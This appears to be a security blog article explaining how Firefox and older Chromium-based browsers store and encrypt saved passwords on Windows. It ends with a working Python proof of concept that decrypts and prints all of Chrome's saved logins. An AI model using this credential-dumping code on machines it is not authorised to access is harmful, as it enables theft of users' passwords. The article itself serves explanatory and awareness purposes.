In-depth look at how browsers store your data

Passwords stored in the browser mean you don’t have to enter them every time, which is a real time-saver. But is it secure? This article will explain technically how browsers store your passwords on your computer, and how easy it is for an attacker to obtain them in cleartext.
How it works in Firefox
Let’s start by looking at how Firefox handles saved logins and passwords. Firefox is an open-source browser and uses the Gecko engine.
Firefox stores passwords in a file called logins.json
, located in the user’s profile directory (AppData\Roaming\Mozilla\Firefox\Profiles<Profile_Name>
). This file contains a list of JSON objects, each representing a set of login data, including URL, username and encrypted password.
In addition to logins.json
, Firefox uses a key4.db
file (or key3.db
for older versions) to store encryption keys. This file is a SQLite database containing the keys needed to decrypt passwords.
Firefox’s password management system relies primarily on Network Security Services (NSS), a suite of libraries that support data encryption and security protocols. NSS is used to convert passwords into ciphertext before storing them in logins.json
.
Users can set a master password (masterkey), adding an extra layer of protection. If a master password is set, it is required to decrypt stored credentials.
How logins.json works
The logins.json
file is a list of JSON objects containing the following information for each set of connection data:
hostname
: The URL of the site for which the login is used.encryptedUsername
: The username, encrypted.encryptedPassword
: The password, encrypted.formSubmitURL
: The URL of the form, if applicable.timeCreated, timeLastUsed, timePasswordChanged
: Timestamps indicating creation, use and modification of the login.
Example:

To decrypt these credentials, the key4.db
file is used. This file contains the encryption keys, and is also in SQLite format. The information required for decryption is located in tables such as metadata
and nssPrivate
.
When no master password is defined, the key used for decryption is a default key stored in key4.db
. This key is directly accessible using the Network Security Services (NSS) libraries, which simplifies the decryption process but also reduces security. In the presence of a master password, the master key must first be extracted and decrypted using NSS PKCS #11 (PK11) functions, then used to decrypt the login information.
Once the masterkey has been obtained, it is used to decrypt the encryptedUsername
and encryptedPassword
values in logins.json
. This process is based on the NSS libraries, which apply the AES128 (Advanced Encryption Standard) decryption algorithm in CBC (Cipher Block Chaining) mode.

To do this, a popular tool is available here to obtain Firefox passwords in cleartext.
How it works in Chrome (prior to v127)
Let’s take a look at how Chrome versions below 127 (based on Chromium) work. As a reminder, there are many Chromium-based browsers, including Edge, Opera, Brave etc., to name but a few.
For these browsers up to version 127, all secrets are stored in a local Login Data
file accessible via
AppData\Local\<Browser_Path>\User Data\<Browser_Profile_Name>\Login Data
Browser_Path
represents the path specific to each browser (e.g. Google\Chrome) and Browser_Profile_Name
represents the name of your browser profile. It can be “Default
” for the default user, but can also be called “Profile %
” where % represents a number indicating the position of this profile.
The Login Data
file is a SQLite database containing all Chrome data. The logins are found in a logins
table and include the URL where the logins are used, the creation date and, of course, the username and password.
Obviously, the values we’re interested in are :
origin_url
(URL where credentials are used)username_value
(username/email)password_value
(password)
In versions of Chromium prior to 127, Chromium-based browsers used Windows’ DPAPI (Data Protection API) to encrypt user secrets, including saved passwords.
DPAPI is an encryption API provided by Windows that allows applications to encrypt data using system-generated keys, reducing the need to manage encryption keys directly. For Chromium, every secret, like passwords, is encrypted before being stored in the database.
The way DPAPI works to encrypt these secrets relies on one key element:
- The
master_key
: This is a master key generated for each Windows user and used to secure data protected by DPAPI. Themaster_key
is located in theLocal State
JSON file and contains many of the parameters used by Chrome.
AppData\Local\<Browser_Path>\User Data\Local State
The key is located in the encrypted_key
field under the os_crypt
entry. This key is used to encrypt credentials using AES GCM.

To decrypt the data, simply call CryptUnprotectData
on the encrypted key to obtain the decryption key. Now all you have to do is decrypt each password using AES GCM, specifying the encrypted password and the decryption key.
To do this, here’s a little PoC in Python, valid locally for a Windows workstation:
import os
import json
import sqlite3
import base64
from Cryptodome.Cipher import AES
import win32crypt
def get_encryption_key():
local_state_path = os.path.join(
os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome", "User Data", "Local State"
)
with open(local_state_path, "r", encoding="utf-8") as file:
local_state = json.load(file)
encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:] # Retire "DPAPI"
return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
def decrypt_password(encrypted_password, key):
try:
nonce = encrypted_password[3:15]
ciphertext = encrypted_password[15:-16]
tag = encrypted_password[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode()
except Exception as e:
return f"Can't decrypt: {e}"
def main():
db_path = os.path.join(
os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"
)
encryption_key = get_encryption_key()
with sqlite3.connect(db_path) as conn:
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
origin_url, username, encrypted_password = row
if encrypted_password.startswith(b'v10'):
decrypted_password = decrypt_password(encrypted_password, encryption_key)
else:
decrypted_password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1].decode()
print(f"Site: {origin_url}\nUsername: {username}\nPassword: {decrypted_password}\n{'-'*50}")
if __name__ == "__main__":
main()
Once the script has been run, the credentials are recovered in clear text.
See you asap for v127+ 👀
References :